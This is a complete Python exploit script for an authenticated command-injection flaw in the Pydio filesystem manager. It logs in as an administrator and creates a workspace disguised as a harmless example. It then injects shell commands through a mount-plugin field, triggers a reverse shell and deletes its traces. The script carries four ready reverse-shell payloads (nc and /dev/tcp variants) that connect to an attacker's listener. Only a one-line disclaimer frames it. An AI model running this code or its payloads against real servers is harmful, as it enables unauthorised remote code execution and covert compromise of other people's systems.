""" This is an exploit for a vulnerability that I discovered in the Pydio Filesystem Manager. The vulnerability allows for remote code execution through command injection in a particular setting field when attaching a specific plugin to a filesystem workspace. The prerequisite for exploiting this vulnerability is having credentials to a Pydio administrator account. Only use this on systems that you have explicit permission to test. """ import uuid import urllib import argparse import requests DEBUG = False FAIL_ACCESS_STRING = "You are not allowed to access this resource" def parse_token(response_text, token_type): if DEBUG: print(f"[*] parsing {token_type} from response") try: if token_type not in ["client_id", "secure_token"]: print(" [!] select correct token to parse ('client_id' or 'secure_token')") exit(1) if token_type == "client_id": secure_token = response_text.split("\"SECURE_TOKEN\":")[1][:34].replace("\"","") else: secure_token = response_text.split("\"")[-2] if len(secure_token) == 0: raise Exception return secure_token except Exception as e: print(" [!] could not parse token, check response text:") print(f"{e}") print(response_text) exit(1) def process_request(session, request_type, message, headers=None, params=None, data=None, \ success=None, loud=False, timeout=15, failure_string=None): if loud: print(f"[*] {message}") if request_type.lower() not in ["get", "post"]: print(f" [!] incorrect request type ({request_type}") exit(1) # gross gross gross gross global URL # gross gross gross gross req = requests.Request( request_type, URL, headers=headers, params=params, data=data, ) prepared_req = session.prepare_request(req) try: response = session.send( prepared_req, timeout=timeout ) except requests.exceptions.ReadTimeout: return None except requests.exceptions.ConnectionError: print(" [!] couldn't connect to target ({})".format(URL)) print(" do you have the right IP/URI/port?") exit(1) if DEBUG: print(response.status_code) print(response.text) if response.status_code == 204: # ignore this as we will handle it contextually print(f" [!] error sending {message} request ({response.status_code})") print(" usually means we don't have permissions. this will be") print(" handled contextually.") return response elif response.status_code != 200: print(f" [!] error sending {message} request ({response.status_code})") exit(1) else: if success: if success not in response.text: print(f" [!] success condition not met for {message} request") print(f" [*] required {success} in response") exit(1) if failure_string is None: failure_string = FAIL_ACCESS_STRING if failure_string in response.text: print(f" [!] access failure on {URL}") print(f" [*] type:\t\t{request_type}") print(f" [*] url:\t\t{URL}") print(f" [*] headers:\t{headers}") print(f" [*] params:\t\t{params}") print(f" [*] data:\t\t{data}") exit(1) if loud: print(" [+] success") return response def get_secure_token(live_session): headers = { "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.5", "Connection": "keep-alive", "DNT": "1", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko/20100101 Firefox/58.0" } r = process_request(live_session, "get", "grabbing client_id", headers=headers) client_id = parse_token(r.text, "client_id") return client_id def login(live_session, client_id): """ logs in and returns a session that is successfully auth'd, along with the secure token used for subsequent requests """ global USERNAME, PASSWORD # really, i make myself sick sometimes first_params = { "dir": "/", "get_action": "ls", "options": "al", "secure_token": client_id } process_request(live_session, "get", "staging login",params=first_params, loud=DEBUG) seed_params = { "get_action": "get_seed", "secure_token": client_id } r = process_request(live_session, "post", "seed setup", data=seed_params, loud=DEBUG) seed_val = r.text second_params = { "get_action": "login", "login_seed": seed_val, "userid": USERNAME, "password": PASSWORD, "secure_token": client_id } r = process_request(live_session, "post", "login POST",data=second_params, loud=DEBUG) login_token = parse_token(r.text, "secure_token") return login_token def create_exploit_workspace(live_session, client_id, secure_token): exploit_workspace_name = "Pydio Example Workspace" exploit_workspace_description = "This is an example workspace provided by pydio. " + \ "You may delete this workspace if you would like." exploit_path = str(uuid.uuid4()) # this is the folder it maps to on disk new_workspace_data = "{\"DRIVER\":\"fs\",\"DRIVER_OPTIONS\":{" + \ f"\"USER_DESCRIPTION\":\"{exploit_workspace_description}\"," + \ "\"CREATE\":true,\"CHMOD_VALUE\":\"0666\"," + \ "\"RECYCLE_BIN\":\"recycle_bin\",\"PAGINATION_THRESHOLD\":500,\"PAGINATION_NUMBER\"" + \ ":200,\"REMOTE_SORTING\":true,\"REMOTE_SORTING_DEFAULT_COLUMN\":\"ajxp_label\"," + \ "\"REMOTE_SORTING_DEFAULT_DIRECTION\":\"asc\",\"UX_DISPLAY_DEFAULT_MODE\":\"list\"," + \ "\"UX_SORTING_DEFAULT_COLUMN\":\"natural\",\"UX_SORTING_DEFAULT_DIRECTION\":\"asc\"," + \ "\"PATH\":\"/tmp/somewherenew\"}," + \ f"\"DISPLAY\":\"{exploit_workspace_name}" + \ "\"}" get_id = process_request( live_session, "post", "creating new workspace to poison", data={ "get_action": "create_repository", "json_data": new_workspace_data, "secure_token": secure_token }, success="Successfully created workspace", loud=True ) # splits <<< regex , but w.e. try: workspace_id = get_id.text.split("file=\"")[1].split("\"")[0] except: print(" [!] error parsing workspace ID ... ") print(" this didn't come up in testing") print(" you've gotta modify source to get this fixed :X") print(" RIP skids") exit(1) return {"name": exploit_workspace_name, "id": workspace_id} def delete_exploit_workspace(live_session, client_id, secure_token, workspace): workspace_id = workspace["id"] process_request( live_session, "post", "deleting our created exploit workspace", data={ "get_action": "delete", "data_type": "repository", "data_id": workspace_id, "secure_token":secure_token }, success="Successfully deleted workspace", loud=True ) def pre_injection_staging(live_session, client_id, secure_token): process_request( live_session, "post", "staging injection", data={ "get_action": "switch_repository", "repository_id": "ajxp_conf", "secure_token": secure_token }, failure_string="Cannot access to workspace", loud=DEBUG ) def get_payload(): # selects the payload from one of our pre-built ones, or a custom specified prebuilt_payloads = { "1": f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {LISTENER_IP} {LISTENER_PORT} >/tmp/f", "2": f"nc -e /bin/bash {LISTENER_IP} {LISTENER_PORT}", "3": f"/bin/bash -c '/bin/bash -i >& /dev/tcp/{LISTENER_IP}/{LISTENER_PORT} 0>&1'", "4": f"/bin/bash -c '/bin/bash &>/dev/tcp/{LISTENER_IP}/{LISTENER_PORT} <&1'" } if PAYLOAD: try: return prebuilt_payloads[PAYLOAD] except KeyError: return PAYLOAD else: return prebuilt_payloads["1"] def inject_exploit(live_session, client_id, secure_token, workspace): # if we haven't set a custom payload, fire off a default nc rev shell global LISTENER_IP, LISTENER_PORT selected_payload = get_payload() encoded_injection = "{\"delete\":{},\"add\":{\"meta.mount\":{\"FILESYSTEM_TYPE\":\"cifs\"," + \ "\"FILESYSTEM_TYPE\":\"cifs\",\"MOUNT_OPTIONS\":\"user=AJXP_USER,pass=AJXP_PASS" + \ ",uid=AJXP_SERVER_UID,gid=AJXP_SERVER_GID\",\"MOUNT_RESULT_SUCCESS\":\"32\"," + \ "\"USE_AUTH_STREAM\":\"true\"}},\"edit\":{\"meta.mount\":{" + \ f"\"FILESYSTEM_TYPE\":\"cifs;{selected_payload};mount -t cifs\"," + \ "\"MOUNT_OPTIONS\":\"user=AJXP_USER,pass=AJXP_PASS,uid=AJXP_SERVER_UID,gid=AJXP_SERVER_GID\"," + \ "\"MOUNT_RESULT_SUCCESS\":\"32\",\"USE_AUTH_STREAM\":\"true\",\"UNC_PATH\":\"//127.0.0.1/test\"," + \ "\"MOUNT_POINT\":\"/tmp/somewhere\",\"USER\":\"admin\",\"PASS\":\"password\"}}}" injection = [ { "message": "editing repository", "request_type": "post", "params": { "get_action": "edit", "sub_action": "edit_repository", "repository_id": workspace["id"], "secure_token": secure_token }, "success": "", "loud": DEBUG }, { "message": "poisoning plugin", "request_type": "post", "params": { "get_action": "edit", "sub_action": "meta_source_edit", "repository_id": workspace["id"], "bulk_data": encoded_injection, "secure_token": secure_token }, "success": "Successfully edited meta source", "loud": DEBUG }, { "message": "poisoning workspace", "request_type": "post", "params": { "get_action": "edit", "sub_action":"edit_repository_data", "repository_id": workspace["id"], "secure_token": secure_token }, "success": "Successfully edited workspace", "loud": DEBUG }, ] for injection_step in injection: process_request( live_session, injection_step["request_type"], injection_step["message"], params=injection_step["params"], success=injection_step["success"], loud=injection_step["loud"] ) def check_injection(live_session, client_id, secure_token, workspace): check = process_request( live_session, "post", "confirming injection", params={ "get_action": "edit", "sub_action": "edit_repository", "repository_id": workspace["id"], "secure_token": secure_token }, loud=DEBUG ) print("[*] did we inject our poisoned plugin?") # probably a safe bet global LISTENER_IP injected = LISTENER_IP in check.text if injected: print(" [+] payload injected :)") else: print(" [!] nope..the plugin wasn't added :(") return injected def trigger_exploit(live_session, secure_token, workspace): process_request( live_session, "post", "triggering exploit", params={ "get_action": "switch_repository", "repository_id": workspace["id"], "secure_token": f"{secure_token}" }, loud=DEBUG, timeout=1 ) def initialize_parser(): parser = argparse.ArgumentParser(description='[*] exploit some pydio boxes (academically)') required_group = parser.add_argument_group(title='required arguments') required_group.add_argument( '-t', dest='target', required=True, help='this is the target URI for the pydio instance..i.e. http://127.0.0.1:31337/pydio/' ) required_group.add_argument( '-u', dest='username', required=True, help='this is the username of the admin user' ) required_group.add_argument( '-p', dest='password', required=True, help='this is the password of the admin user' ) required_group.add_argument( '-L', dest='listener_ip', required=True, help='IP address to catch reverse shell on' ) required_group.add_argument( '-P', dest='listener_port', required=True, help='port to catch reverse shell on' ) parser.add_argument( '--payload', dest='payload', default=None, type=str, help='one of the pre-built reverse-shell payloads (1, 2, 3, 4, or 5), or a ' + \ 'custom command. keep in mind you can\'t use the (\") character as it ' + \ 'breaks the injection' ) return parser def process_target(target): # add / to the URI if it doesn't terminate with /..because otherwise things get weird if target[-1] != "/": target += "/" return target def main(): parser = initialize_parser() args = parser.parse_args() # set globals because i'm a filthy person global URL, USERNAME, PASSWORD, LISTENER_IP, LISTENER_PORT, PAYLOAD URL = process_target(args.target) USERNAME = args.username PASSWORD = args.password LISTENER_IP = args.listener_ip LISTENER_PORT = args.listener_port PAYLOAD = args.payload try: print("[*] exploit credentials") print(f"\tusername: '{USERNAME}'\n\tpassword: '{PASSWORD}'") live_session = requests.Session() client_id = get_secure_token(live_session) secure_token = login(live_session, client_id) pre_injection_staging(live_session, client_id, secure_token) exploit_workspace = create_exploit_workspace(live_session, client_id, secure_token) print("[*] trying to exploit workspace ({}) [{}]".format(exploit_workspace["name"], exploit_workspace["id"])) inject_exploit(live_session, client_id, secure_token, exploit_workspace) if check_injection(live_session, client_id, secure_token, exploit_workspace): print("[*] triggering exploit\n") print("[*][~][*][~][*][~][*] ! brace for shell ! [*][~][*][~][*][~][*]") print("[*][~][*][~][*][~][*] ! brace for shell ! [*][~][*][~][*][~][*]") print("[*][~][*][~][*][~][*] ! brace for shell ! [*][~][*][~][*][~][*]") trigger_exploit(live_session, secure_token, exploit_workspace) print("\n... did you catch it ???\n") else: print(" [!] injection failed...boo :( (also shouldn't ever happen)") print("[*] cleaning up after ourselves") live_session = requests.Session() client_id = get_secure_token(live_session) secure_token = login(live_session, client_id) pre_injection_staging(live_session, client_id, secure_token) delete_exploit_workspace(live_session, client_id, secure_token, exploit_workspace) print("[+] done :)") except KeyboardInterrupt: print("\n [!] keyboard interrupt detected...exiting") exit(1) if __name__ == "__main__": main()